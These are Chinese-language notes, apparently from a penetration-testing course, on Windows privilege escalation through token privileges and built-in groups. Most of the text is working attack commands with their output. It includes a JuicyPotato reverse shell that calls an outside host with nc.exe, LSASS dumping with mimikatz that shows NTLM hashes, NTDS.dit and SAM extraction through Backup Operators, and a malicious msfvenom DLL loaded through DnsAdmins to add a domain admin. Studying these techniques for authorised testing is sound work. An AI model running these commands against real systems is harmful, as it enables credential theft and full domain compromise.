LSASS 命名管道权限 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 C:\> accesschk.exe /accepteula \\.\Pipe \lsass -v Accesschk v6 .12 - Reports effective permissions for securable objects Copyright (C ) 2006-2017 Mark Russinovich Sysinternals - www.sysinternals.com \\.\Pipe \lsass Untrusted Mandatory Level [No -Write -Up ] RW Everyone FILE_READ_ATTRIBUTES FILE_READ_DATA FILE_READ_EA FILE_WRITE_ATTRIBUTES FILE_WRITE_DATA FILE_WRITE_EA SYNCHRONIZE READ_CONTROL RW NT AUTHORITY \ANONYMOUS LOGON FILE_READ_ATTRIBUTES FILE_READ_DATA FILE_READ_EA FILE_WRITE_ATTRIBUTES FILE_WRITE_DATA FILE_WRITE_EA SYNCHRONIZE READ_CONTROL RW APPLICATION PACKAGE AUTHORITY \Your Windows credentials FILE_READ_ATTRIBUTES FILE_READ_DATA FILE_READ_EA FILE_WRITE_ATTRIBUTES FILE_WRITE_DATA FILE_WRITE_EA SYNCHRONIZE READ_CONTROL RW BUILTIN \Administrators FILE_ALL_ACCESS
命名管提升权限的示例 WindscribeService 命名管道权限提升 ,使用 accesschk,可以使用 accesschk.exe -w \pipe\* -v
等命令搜索允许写入访问的所有命名管道,并注意到 WindscribeService 命名管道允许 Everyone 组(即所有经过身份验证的用户)进行读取和写入访问。
1 2 3 4 5 6 7 8 9 10 C:\> accesschk.exe -accepteula -w \pipe \WindscribeService -v Accesschk v6 .13 - Reports effective permissions for securable objects Copyright ⌐ 2006-2020 Mark Russinovich Sysinternals - www.sysinternals.com \\.\Pipe \WindscribeService Medium Mandatory Level (Default ) [No -Write -Up ] RW Everyone FILE_ALL_ACCESS
检查 WindscribeService 命名管道权限,使用 accesschk 确认后,发现 Everyone 组确实对管道拥有 FILE_ALL_ACCESS(所有可能的访问权限)。可以利用这些宽松的权限将主机上的权限升级到 SYSTEM。
Privileges Overview Windows 中的权限 是授予帐户在本地系统上执行各种操作的权利,例如管理服务、加载驱动程序、关闭系统、调试应用程序等。权限不同于访问权限,访问权限是系统用来授予或拒绝对可安全对象的访问的权利。用户和组权限存储在数据库中,并在用户登录系统时通过访问令牌授予。如果帐户属于 Active Directory 域,则帐户可以在特定计算机上拥有本地权限,并在不同的系统上拥有不同的权限。
Windows Authorization Process 安全主体是 Windows 操作系统可以验证的任何内容,包括用户和计算机帐户、在安全上下文或其他用户/计算机帐户中运行的进程,或这些帐户所属的安全组。安全主体是控制对 Windows 主机上的资源的访问的主要方式。每个安全主体都由唯一的安全标识符 (SID) 标识。创建安全主体时,会为其分配一个 SID,该 SID 在其生命周期内一直分配给该主体。
Rights and Privileges Windows 包含许多组,这些组授予其成员强大的权利和特权。其中许多组可以被滥用来提升独立 Windows 主机和 Active Directory 域环境中的特权。最终,这些组可用于在 Windows 工作站、服务器或域控制器 (DC) 上获得域管理员、本地管理员或系统特权。下面列出了其中一些组。
Group
Description
Default Administrators
域管理员和企业管理员是“超级”组。
Server Operators
成员可以修改服务、访问 SMB 共享和备份文件。
Backup Operators
成员可以在本地登录 DC,应被视为域管理员。他们可以制作 SAM/NTDS 数据库的卷影副本、远程读取注册表以及通过 SMB 访问 DC 上的文件系统。此组有时会添加到非 DC 上的本地备份操作员组中。
Print Operators
成员可以本地登录 DC 并“诱骗” Windows 加载恶意驱动程序。
Hyper-V Administrators
如果存在虚拟 DC,则任何虚拟化管理员(例如 Hyper-V 管理员成员)都应被视为域管理员。
Account Operators
成员可以修改域中不受保护的帐户和组。
Remote Desktop Users
默认情况下,成员没有被赋予任何有用的权限,但通常会被授予额外的权利,例如Allow Login Through Remote Desktop Services
可以使用 RDP 协议横向移动。
Remote Management Users
成员可以使用 PSRemoting 登录到 DC(此组有时会添加到非 DC 上的本地远程管理组)。
Group Policy Creator Owners
成员可以创建新的 GPO,但需要委派额外的权限才能将 GPO 链接到域或 OU 等容器。
Schema Admins
成员可以修改 Active Directory 架构结构,并通过将受感染的帐户添加到默认对象 ACL 来为任何要创建的组/GPO 设置后门。
DNS Admins
成员可以在 DC 上加载 DLL,但没有重新启动 DNS 服务器所需的权限。他们可以加载恶意 DLL 并等待重新启动作为持久性机制。加载 DLL 通常会导致服务崩溃。利用此组的更可靠方法是创建WPAD 记录 。
用户权限分配 根据组成员身份和其他因素(例如通过域和本地组策略分配的权限),用户可以为其帐户分配各种权限。以下是一些关键的用户权限分配,它们是应用于本地主机的设置。这些权限允许用户在系统上执行任务,例如本地或远程登录、从网络访问主机、关闭服务器等。
whoami /priv
打印当前用户的权限的列表。某些权限仅供管理用户使用,并且仅在运行提升的 cmd 或 PowerShell 会话时才能列出/利用。这些提升权限和用户帐户控制 (UAC) 的概念是 Windows Vista 引入的安全功能,默认限制应用程序在必要时以完全权限运行。
管理用户权限 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 PS C:\> whoami winlpe-srv01 \administrator PS C:\> whoami /privPRIVILEGES INFORMATION ---------------------- Privilege Name Description State ========================================= ================================================================== ======== SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeSecurityPrivilege Manage auditing and security log Disabled SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled SeLoadDriverPrivilege Load and unload device drivers Disabled SeSystemProfilePrivilege Profile system performance Disabled SeSystemtimePrivilege Change the system time Disabled SeProfileSingleProcessPrivilege Profile single process Disabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled SeCreatePagefilePrivilege Create a pagefile Disabled SeBackupPrivilege Back up files and directories Disabled SeRestorePrivilege Restore files and directories Disabled SeShutdownPrivilege Shut down the system Disabled SeDebugPrivilege Debug programs Disabled SeSystemEnvironmentPrivilege Modify firmware environment values Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled SeUndockPrivilege Remove computer from docking station Disabled SeManageVolumePrivilege Perform volume maintenance tasks Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled SeCreateSymbolicLinkPrivilege Create symbolic links Disabled SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
当帐户的权限处于禁用状态时,这意味着帐户已分配特定权限。但是,在启用权限之前,它不能用于访问令牌以执行相关操作。Windows 不提供内置命令或 PowerShell cmdlet 来启用权限,因此需要一些脚本来帮助提升权限。
标准用户权限 1 2 3 4 5 6 7 8 9 10 11 12 13 14 PS C:\> whoami winlpe-srv01 \htb-student PS C:\> whoami /privPRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
备份操作员权限 此组中的用户确实拥有 UAC 当前限制的其他权限。不过,可以从此命令中看到他们拥有 SeShutdownPrivilege,这意味着他们可以关闭域控制器,如果他们在本地(而不是通过 RDP 或 WinRM)登录域控制器,可能会导致大规模服务中断。
1 2 3 4 5 6 7 8 9 10 PS C:\> whoami /privPRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
User Privileges SeImpersonate & SeAssignPrimaryToken 在 Windows 中,每个进程都有一个令牌,其中包含有关运行该进程的帐户的信息。要使用令牌,SeImpersonate
需要特权。它只提供给管理帐户,在大多数情况下,可以在系统强化期间删除。
1 2 3 4 5 6 7 8 9 10 11 Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeManageVolumePrivilege Perform volume maintenance tasks Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
JuicyPotato 可用于通过 DCOM/NTLM 反射滥用来利用 SeImpersonate 或 SeAssignPrimaryToken 权限。
1 C:\> .\JuicyPotato.exe -l 53375 -p c :\windows \system32 \cmd.exe -a "/c .\nc.exe 10.10.14.3 8443 -e cmd.exe " -t *
1 2 3 4 5 6 7 8 9 10 $ nc -lnvp 8443 listening on [any] 8443 ... connect to [10.10.14.3] from (UNKNOWN) [10.129.43.30] 50332 Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system
JuicyPotato 不适用于 Windows Server 2019 和 Windows 10 build 1809 及更高版本。PrintSpoofer 和RoguePotato 可用于利用相同的权限并获得NT AUTHORITY\SYSTEM
级别访问权限。
SeDebugPrivilege 要运行特定应用程序或服务或协助进行故障排除,可以为用户分配 SeDebugPrivilege,而不是将帐户添加到管理员组。默认情况下,只有管理员被授予此权限,因为它可用于从系统内存中捕获敏感信息,或访问/修改内核和应用程序结构。
Windows 设置
查看权限
1 2 3 4 5 6 7 8 9 10 C:\> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ========================================= ================================================================== ======== SeDebugPrivilege Debug programs Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SysInternals 套件中的 ProcDump 可以利用此权限并转储进程内存
1 2 3 4 5 6 7 8 9 10 C:\> procdump.exe -accepteula -ma lsass.exe lsass.dmp ProcDump v10 .0 - Sysinternals process dump utility Copyright (C ) 2009-2020 Mark Russinovich and Andrew Richards Sysinternals - www.sysinternals.com [15:25:45] Dump 1 initiated : C :\Tools \Procdump \lsass.dmp [15:25:45] Dump 1 writing : Estimated dump file size is 42 MB . [15:25:45] Dump 1 complete : 43 MB written in 0.5 seconds [15:25:46] Dump count reached .
如果具有 RDP 访问权限,还可以通过任务管理器手动转储 LSASS 进程的内存,”详细信息”选项卡,选择 LSASS 进程,然后选择”创建转储文件”。
然后可以使用 sekurlsa::minidump 命令将其加载到 Mimikatz 中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 C:\> mimikatz.exe .#####. mimikatz 2.2.0 (x64 ) #19041 Sep 18 2020 19:18:29 .## ^ ##. "A La Vie , A L 'Amour " - (oe.eo ) ## / \ ## /*** Benjamin DELPY `gentilkiwi ` ( benjamin @gentilkiwi.com ) ## \ / ## > https ://blog.gentilkiwi.com /mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux @gmail.com ) '#####' > https ://pingcastle.com / https ://mysmartlogon.com ***/ mimikatz # log Using 'mimikatz.log ' for logfile : OK mimikatz # sekurlsa ::minidump lsass.dmp Switch to MINIDUMP : 'lsass.dmp 'mimikatz # sekurlsa ::logonpasswords Opening : 'lsass.dmp ' file for minidump ...Authentication Id : 0 ; 23196355 (00000000:0161f2c3 )Session : Interactive from 4User Name : DWM -4Domain : Window Manager Logon Server : (null )Logon Time : 3/31/2021 3:00:57 PM SID : S -1-5-90-0-4 msv : tspkg : wdigest : * Username : WINLPE -SRV01 $ * Domain : WORKGROUP * Password : (null ) kerberos : ssp : credman : <SNIP > Authentication Id : 0 ; 23026942 (00000000:015f5cfe )Session : RemoteInteractive from 2User Name : jordan Domain : WINLPE -SRV01 Logon Server : WINLPE -SRV01 Logon Time : 3/31/2021 2:59:52 PM SID : S -1-5-21-3769161915-3336846931-3985975925-1000 msv : [00000003] Primary * Username : jordan * Domain : WINLPE -SRV01 * NTLM : cf3a5525ee9414229e66279623ed5c58 * SHA1 : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2 tspkg : wdigest : * Username : jordan * Domain : WINLPE -SRV01 * Password : (null ) kerberos : * Username : jordan * Domain : WINLPE -SRV01 * Password : (null ) ssp : credman : <SNIP >
还可以利用 SeDebugPrivilege 进行 RCE。使用这种技术,可以启动子进程并使用通过 SeDebugPrivilege 授予帐户的提升权限来更改正常系统行为,从而将权限提升到 SYSTEM,以继承父进程的令牌并模拟它。
输入用户凭证,以管理员身份运行 Powershell,获取正在运行的进程 PID
1 2 3 4 5 6 7 8 9 10 11 PS C:\> tasklistImage Name PID Session Name Session ========================= ======== ================ =========== ============ System Idle Process 0 Services 0 4 K System 4 Services 0 116 K smss.exe 340 Services 0 1 ,212 K csrss.exe 444 Services 0 4 ,696 K wininit.exe 548 Services 0 5 ,240 K csrss.exe 556 Console 1 5 ,972 K winlogon.exe 612 Console 1 10 ,408 K
Command
1 [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>,"")
这里定位winlogon.exe
在 PID 612 下运行,它在 Windows 主机上以 SYSTEM 身份运行。
还可以使用 Get-Process cmdlet 来获取以 SYSTEM 身份运行的进程(例如 LSASS)的 PID
SeTakeOwnershipPrivilege SeTakeOwnershipPrivilege 授予用户 “可保护对象” 的能力,这些对象包括 Active Directory 对象、NTFS 文件/文件夹、打印机、注册表项、服务和进程。此权限分配对象的 WRITE_OWNER 权限,这意味着用户可以在对象的安全描述符中更改所有者。默认情况下,管理员被分配此权限。
凭借此权限,用户可以拥有任何文件或对象的所有权,并进行可能涉及访问敏感数据、远程代码执行 (RCE) 或拒绝服务 (DOS) 的更改。
在组策略中设置此设置:Computer Configuration
⇾ Windows Settings
⇾ Security Settings
⇾ Local Policies
⇾ User Rights Assignment
假设遇到具有此权限的用户,或者通过使用SharpGPOAbuse 的 GPO 滥用等攻击将其分配给他们。在这种情况下,可以使用此权限来控制共享文件夹或敏感文件,例如包含密码或 SSH 密钥的文档。
exploit
1 2 3 4 5 6 7 8 9 10 PS C:\> whoami /privPRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ======================================================= ======== SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
从输出中可以看出,权限未启用。使用 EnableAllTokenPrivs.ps1 开启 SeTakeOwnershipPrivilege
权限。
1 2 3 4 5 6 7 8 9 10 11 PS C:\> Import-Module .\Enable-Privilege .ps1PS C:\> .\EnableAllTokenPrivs.ps1PS C:\> whoami /privPRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ======================================== ======= SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
假设用户帐户具有 SeTakeOwnershipPrivilege(可能已被授予),或者利用其他一些错误配置(例如过于宽松的组策略对象 (GPO) 向用户帐户授予该权限),可以利用它来读取选择的任何文件。
注意:执行可能造成破坏的操作(例如更改文件所有权)时要格外小心,因为这可能会导致应用程序停止工作或扰乱目标对象的用户。此外,更改隐藏在多个子目录中的文件的所有权(同时更改每个子目录的权限)可能很难恢复,因此应避免这样做。
查看文件所有者
1 2 3 4 5 PS C:\> Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,LastWriteTime,Attributes,@ {Name="Owner" ;Expression={ (Get-Acl $_ .FullName).Owner }} FullName LastWriteTime Attributes Owner -------- ------------- ---------- ----- C:\Department Shares\Private\IT\cred.txt 6 /18 /2021 12 :23 :28 PM Archive
没有显示所有者,这意味着可能没有足够的权限查看该对象的详细信息。可以后退一点并查看 IT 目录的所有者。
1 2 3 4 5 6 7 8 9 10 11 12 PS C:\> cmd /c dir /q 'C:\Department Shares\Private\IT' Volume in drive C has no label. Volume Serial Number is 0 C92-675B Directory of C:\Department Shares\Private\IT 06 /18 /2021 12 :22 PM <DIR > WINLPE-SRV01 \sccm_svc .06 /18 /2021 12 :22 PM <DIR > WINLPE-SRV01 \sccm_svc ..06 /18 /2021 12 :23 PM 36 ... cred.txt 1 File(s) 36 bytes 2 Dir (s) 17 ,079 ,754 ,752 bytes free
IT 共享似乎由服务帐户拥有,并且确实包含一个cred.txt
数据的文件。
使用 takeown 来更改文件的所有权。
1 2 3 PS C:\> takeown /f 'C:\Department Shares\Private\IT\cred.txt' SUCCESS: The file (or folder): "C:\Department Shares\Private\IT\cred.txt" now owned by user "WINLPE-SRV01\htb-student" .
仍然无法读取该文件,需要使用icacls
修改文件 ACL 才能读取它。
1 2 3 4 PS C:\> icacls 'C:\Department Shares\Private\IT\cred.txt' /grant \htb-student :Fprocessed file: C:\Department Shares\Private\IT\cred.txt Successfully processed 1 files; Failed processing 0 files
读取文件
1 2 3 4 5 PS C:\> cat 'C:\Department Shares\Private\IT\cred.txt' NIX01 admin root:n1X_p0wer_us3er!
其他的一些敏感文件:
1 2 3 4 5 6 7 8 9 c:\inetpub\wwwwroot\web.config %WINDIR%\repair\sam %WINDIR%\repair\system %WINDIR%\repair\software, %WINDIR%\repair\security %WINDIR%\system32\config\SecEvent.Evt %WINDIR%\system32\config\default.sav %WINDIR%\system32\config\security.sav %WINDIR%\system32\config\software.sav %WINDIR%\system32\config\system.sav
Group Privileges Built-in Groups Windows 服务器(尤其是域控制器)具有各种内置组,这些组要么随操作系统一起提供,要么在系统上安装 Active Directory 域服务角色以将服务器提升为域控制器时添加。
所有内置 Windows 组的列表以及每个组的详细描述:https://ss64.com/nt/syntax-security_groups.html
Active Directory 中的特权帐户和组:https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory
Backup Operators Backup Operators
组授予其成员 SeBackup
和 SeRestore
权限。SeBackupPrivilege 允许遍历任何文件夹并列出文件夹内容,但是不能使用标准复制命令来执行此操作。
如果 SeBackupPrivilege 权限被禁用,可以使用 Set-SeBackupPrivilege 来启用。
注意:根据服务器的设置,可能需要生成提升的 CMD 提示以绕过 UAC 并获得此权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 PS C:\> whoami /privPRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======== SeMachineAccountPrivilege Add workstations to domain Disabled SeBackupPrivilege Back up files and directories Disabled SeRestorePrivilege Restore files and directories Disabled SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled PS C:\> Get-SeBackupPrivilege SeBackupPrivilege is disabled
导入模块 SeBackupPrivilegeUtils
1 2 PS C:\> Import-Module .\SeBackupPrivilegeUtils.dllPS C:\> Import-Module .\SeBackupPrivilegeCmdLets.dll
启用 SeBackupPrivilege
1 2 3 4 PS C:\> Set-SeBackupPrivilege PS C:\> Get-SeBackupPrivilege SeBackupPrivilege is enabled
复制文件 现在可以利用此权限复制任何受保护的文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 PS C:\> Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txtCopied 88 bytes PS C:\> cat .\Contract.txtInlanefreight 2021 Contract ============================== Board of Directors: <...SNIP...>
Windows 内置实用程序robocopy 也可用于在备份模式下复制文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 C:\> robocopy /B E :\Windows \NTDS .\ntds ntds.dit ------------------------------------------------------------------------------- ROBOCOPY :: Robust File Copy for Windows ------------------------------------------------------------------------------- Started : Thursday , May 6, 2021 1:11:47 PM Source : E :\Windows \NTDS \ Dest : C :\Tools \ntds \ Files : ntds.dit Options : /DCOPY:DA /COPY:DAT /B /R :1000000 /W :30 ------------------------------------------------------------------------------ New Dir 1 E :\Windows \NTDS \ 100% New File 16.0 m ntds.dit ------------------------------------------------------------------------------ Total Copied Skipped Mismatch FAILED Extras Dirs : 1 1 0 0 0 0 Files : 1 1 0 0 0 0 Bytes : 16.00 m 16.00 m 0 0 0 0 Times : 0:00:00 0:00:00 0:00:00 0:00:00 Speed : 356962042 Bytes /sec . Speed : 20425.531 MegaBytes /min . Ended : Thursday , May 6, 2021 1:11:47 PM
转储 NTDS.dit 该组还允许本地登录域控制器。活动目录数据库NTDS.dit
是一个非常有吸引力的目标,因为它包含域中所有用户和计算机对象的 NTLM 哈希。但是,此文件已锁定,非特权用户也无法访问。
NTDS.dit
文件默认处于锁定状态,可以使用 Windows diskshadow 实用程序创建C
驱动器的卷影副本并将其公开为E
驱动器。此卷影副本中的 NTDS.dit 将不会被系统使用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 PS C:\> diskshadow.exeMicrosoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: DC, 10 /14 /2020 12 :57 :52 AM DISKSHADOW> set verbose on DISKSHADOW> set metadata C:\Windows\Temp\meta.cab DISKSHADOW> set context clientaccessible DISKSHADOW> set context persistent DISKSHADOW> begin backup DISKSHADOW> add volume C: alias cdrive DISKSHADOW> create DISKSHADOW> expose %cdrive% E: DISKSHADOW> end backup DISKSHADOW> exit PS C:\> dir E: Directory: E:\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 5 /6 /2021 1 :00 PM Confidential d----- 9 /15 /2018 12 :19 AM PerfLogs d-r--- 3 /24 /2021 6 :20 PM Program Files d----- 9 /15 /2018 2 :06 AM Program Files (x86) d----- 5 /6 /2021 1 :05 PM Tools d-r--- 5 /6 /2021 12 :51 PM Users d----- 3 /24 /2021 6 :38 PM Windows
SeBackupPrivilegeUtils - Copy-FileSeBackupPrivilege 转储 NTDS.dit
1 2 3 PS C:\> Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.ditCopied 16777216 bytes
备份 SAM 和 SYSTEM 注册表配置单元 该权限还允许备份 SAM 和 SYSTEM 注册表配置单元,可以使用 Impacket secretsdump.py
等工具离线提取本地帐户凭据。
1 2 3 4 5 6 7 8 9 C:\> reg save HKLM \SYSTEM SYSTEM.SAV The operation completed successfully .C :\> reg save HKLM \SAM SAM.SAV The operation completed successfully .
如果文件夹或文件对当前用户或所属的组有明确的拒绝条目,那么即使指定了FILE_FLAG_BACKUP_SEMANTICS
标志,这也将阻止访问它。
提取 NTDS.dit 凭据 复制 NTDS.dit 后,可以使用工具(例如 Impackt secretsdump.py
或 PowerShellDSInternals
模块)提取所有 Active Directory 帐户凭据。
PowerShell DSInternals
1 2 3 PS C:\> Import-Module .\DSInternals.psd1PS C:\> $key = Get-BootKey -SystemHivePath .\SYSTEMPS C:\> Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
Impackt secretsdump.py
1 $ secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
Event Log Readers 假设启用了对进程创建事件和相应命令行的审核 auditing of process creation 。在这种情况下,此信息将作为事件 ID 4688: A new process has been created 保存到 Windows 安全事件日志中.
管理员或事件日志读取者组的成员有权访问此日志。
确认组成员身份
1 2 3 4 5 6 7 8 9 10 C:\> net localgroup "Event Log Readers " Alias name Event Log Readers Comment Members of this group can read event logs from local machine Members ------------------------------------------------------------------------------- logger The command completed successfully .
使用 wevtutil 或 Get-WinEvent 从命令行查询 Windows 事件。
wevtutil
1 2 3 C:\> wevtutil qe Security /rd:true /f:text | Select -String "/user " # or C :\> wevtutil qe Security /rd:true /f:text /r:share01 /u:julie .clay /p:Welcome1 | findstr "/user "
Get-WinEvent
1 2 3 4 5 PS C:\> Get-WinEvent -LogName security | where { $_ .ID -eq 4688 -and $_ .Properties[8 ].Value -like '*/user*' } | Select-Object @ {name='CommandLine' ;expression={ $_ .Properties[8 ].Value }}CommandLine ----------- net use T: \\fs01\backups /user:tim MyStr0ngP@ssword
注意 :使用 Get-WInEvent 搜索安全事件日志需要管理员访问权限或在注册表项 HKLM\System\CurrentControlSet\Services\Eventlog\Security 上调整权限。仅加入事件日志读取器组是不够的。
DnsAdmins DnsAdmins 组的成员有权访问网络上的 DNS 信息。Windows DNS 服务支持自定义插件,并可从中调用函数来解析不在任何本地托管 DNS 区域范围内的名称查询,DNS服务以NT AUTHORITY\SYSTEM
的身份运行。
DNS 在域控制器上运行(这非常常见)时,可以执行以下攻击:
DNS 管理通过 RPC 执行
ServerLevelPluginDll 允许加载自定义 DLL,而无需验证 DLL 的路径。这可以通过dnscmd
命令行中的工具完成
当DnsAdmins
组成员运行dnscmd
以下命令时,将填充注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
当重新启动 DNS 服务时,将加载此路径中的 DLL(即域控制器的机器帐户可以访问的网络共享)
攻击者可以加载自定义 DLL 来获取反向 shell,甚至可以加载 Mimikatz 等工具作为 DLL 来转储凭据。
DnsAdmins 访问权限利用 使用msfvenom
生成一个恶意 DLL,将用户添加到domain admins
组中。将恶意文件传输至目标机器。
1 $ msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
查询 DnsAdmins 组的成员
1 2 3 4 5 6 7 8 C:\> Get-ADGroupMember -Identity DnsAdmins distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL name : netadm objectClass : user objectGUID : 1 a1ac159-f364-4805-a4bb-7153051a8c14 SamAccountName : netadm SID : S-1-5-21-669053619-2741956077-1013132368-1109
将恶意文件传输到目标机器后,以 DnsAdmins 组的成员身份加载恶意文件
1 2 3 4 C:\> dnscmd.exe /config /serverlevelplugindll C :\Users \netadm \Desktop \adduser.dll Registry property serverlevelplugindll successfully reset .Command completed successfully .
注意:必须指定自定义 DLL 的完整路径,否则攻击将无法正常工作。
DnsAdmins
组的成员只能使用 dnscmd
实用程序进行操作,因为他们没有直接对注册表项的权限。
配置包含恶意插件路径的注册表设置并创建有效负载后,下次启动 DNS 服务时将加载 DLL。DnsAdmins 组的成员身份不具备重新启动 DNS 服务的能力,但可以想象系统管理员可能会允许 DNS 管理员执行此操作。
重新启动 DNS 服务后(如果用户具有此级别的访问权限),应该能够运行自定义 DLL 并添加用户或获取反向 shell。如果无权重新启动 DNS 服务器,将不得不等到服务器或服务重新启动。让检查当前用户对 DNS 服务的权限。
首先,查询用户 SID
1 2 3 4 C:\> wmic useraccount where name ="netadm " get sid SID S -1-5-21-669053619-2741956077-1013132368-1109
DNS 服务的权限,RPWP 权限,分别转换为 SERVICE_START 和 SERVICE_STOP。
1 2 3 C:\> sc.exe sdshow DNS D :(A ;;CCLCSWLOCRRC ;;;IU )(A ;;CCLCSWLOCRRC ;;;SU )(A ;;CCLCSWRPWPDTLOCRRC ;;;SY )(A ;;CCDCLCSWRPWPDTLOCRSDRCWDWO ;;;BA )(A ;;CCDCLCSWRPWPDTLOCRSDRCWDWO ;;;SO )(A ;;RPWP ;;;S -1-5-21-669053619-2741956077-1013132368-1109)S :(AU ;FA ;CCDCLCSWRPWPDTLOCRSDRCWDWO ;;;WD )
重启 DNS 服务
1 2 3 4 5 6 7 8 9 10 11 12 13 C:\> sc stop dns C :\> sc start dns SERVICE_NAME : dns TYPE : 10 WIN32_OWN_PROCESS STATE : 2 START_PENDING (NOT_STOPPABLE , NOT_PAUSABLE , IGNORES_SHUTDOWN ) WIN32_EXIT_CODE : 0 (0x0 ) SERVICE_EXIT_CODE : 0 (0x0 ) CHECKPOINT : 0x0 WAIT_HINT : 0x7d0 PID : 6960 FLAGS :
确认组成员身份
如果一切按计划进行,帐户将被添加到域管理员组,或者如果自定义 DLL 可以让重新建立连接,帐户就会收到反向 shell。
1 2 3 4 5 6 7 8 9 10 C:\> net group "Domain Admins " /dom Group name Domain Admins Comment Designated administrators of the domain Members ------------------------------------------------------------------------------- Administrator netadm The command completed successfully .
Clean 在域控制器上更改配置并停止/重新启动 DNS 服务是非常具有破坏性的操作,必须非常小心地执行。
必须使用本地或域管理员帐户从提升的控制台执行这些步骤。
确认ServerLevelPluginDll
注册表项是否存在。除非删除自定义 DLL,否则将无法再次正确启动 DNS 服务。
1 2 3 4 5 6 7 8 9 10 11 12 C:\> reg query \\10.129.43.9\HKLM \SYSTEM \CurrentControlSet \Services \DNS \Parameters HKEY_LOCAL_MACHINE \SYSTEM \CurrentControlSet \Services \DNS \Parameters GlobalQueryBlockList REG_MULTI_SZ wpad \0isatap EnableGlobalQueryBlockList REG_DWORD 0x1 PreviousLocalHostname REG_SZ WINLPE -DC01.INLANEFREIGHT.LOCAL Forwarders REG_MULTI_SZ 1.1.1.1\08.8.8.8 ForwardingTimeout REG_DWORD 0x3 IsSlave REG_DWORD 0x0 BootMethod REG_DWORD 0x3 AdminConfigured REG_DWORD 0x1 ServerLevelPluginDll REG_SZ adduser.dll
使用reg delete
命令来删除指向自定义 DLL 的键。
1 2 3 4 C:\> reg delete \\10.129.43.9\HKLM \SYSTEM \CurrentControlSet \Services \DNS \Parameters /v ServerLevelPluginDll Delete the registry value ServerLevelPluginDll (Yes /No )? Y The operation completed successfully .
重新启动DNS服务
1 2 C:\> sc.exe stop dns C :\> sc.exe start dns
检查DNS服务状态
1 2 3 4 5 6 7 8 9 10 C:\> sc query dns SERVICE_NAME : dns TYPE : 10 WIN32_OWN_PROCESS STATE : 4 RUNNING (STOPPABLE , PAUSABLE , ACCEPTS_SHUTDOWN ) WIN32_EXIT_CODE : 0 (0x0 ) SERVICE_EXIT_CODE : 0 (0x0 ) CHECKPOINT : 0x0 WAIT_HINT : 0x0
还可以利用 Mimikatz 工具创建者的 mimilib.dll ,通过修改 kdns.c 文件来执行反向 shell 单行命令或选择的其他命令来获得命令执行能力。
